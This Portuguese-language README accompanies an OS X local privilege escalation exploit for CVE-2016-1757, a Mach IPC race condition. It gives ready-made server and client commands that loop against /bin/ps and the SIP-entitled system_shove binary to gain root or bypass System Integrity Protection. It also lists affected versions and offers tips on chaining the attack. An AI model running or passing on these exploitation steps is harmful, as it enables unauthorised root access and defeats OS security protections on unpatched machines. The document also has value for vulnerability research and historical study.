
Exploração de escalonamento de privilégios local para macOS (CVE-2016-1757) usando condição de corrida em Mach IPC para contornar as proteções de SIP e SUID, visando várias versões do OS X.
Mach Race OS X Local Privilege Escalation Exploit
(c) fG! 2015, 2016, [email protected] - https://reverse.put.as
Um exploit universal OS X para SUID, SIP e autorizações binárias (CVE-2016-1757).
Uso contra um binário SUID:
./mach_race_server /bin/ps _compat_mode
for i in seq 0 1000000; do ./mach_race_client /bin/ps; done
Contra um binário com autorizações para contornar o SIP:
./mach_race_server /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove _geteuid
for i in seq 0 1000000; do ./mach_race_client /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove; done
Nota: como o nome do serviço não é modificado, você não pode encadear este exploit de usuário para root e depois usá-lo para contornar o SIP, pois o bootstrap_register2 falhará na segunda vez (o serviço já está registrado no launchd desde a primeira execução). A solução é adicionar um parâmetro para usar um nome de serviço diferente, por exemplo.
Nota2: não há necessidade de transformar isso em dois aplicativos separados, um único binário funciona; basta bifurcar (fork) um servidor e um cliente.
Referências:
http://googleprojectzero.blogspot.pt/2016/03/race-you-to-kernel.html
Testado contra Mavericks 10.10.5, Yosemite 10.10.5, El Capitan 10.11.2 e 10.11.3.
Corrigido no El Capitan 10.11.4.
Deve funcionar com todas as versões do OS X (depende se bootstrap_register2 existe em versões mais antigas).
Implementação alternativa com bootstrap_create_server possível para versões mais antigas.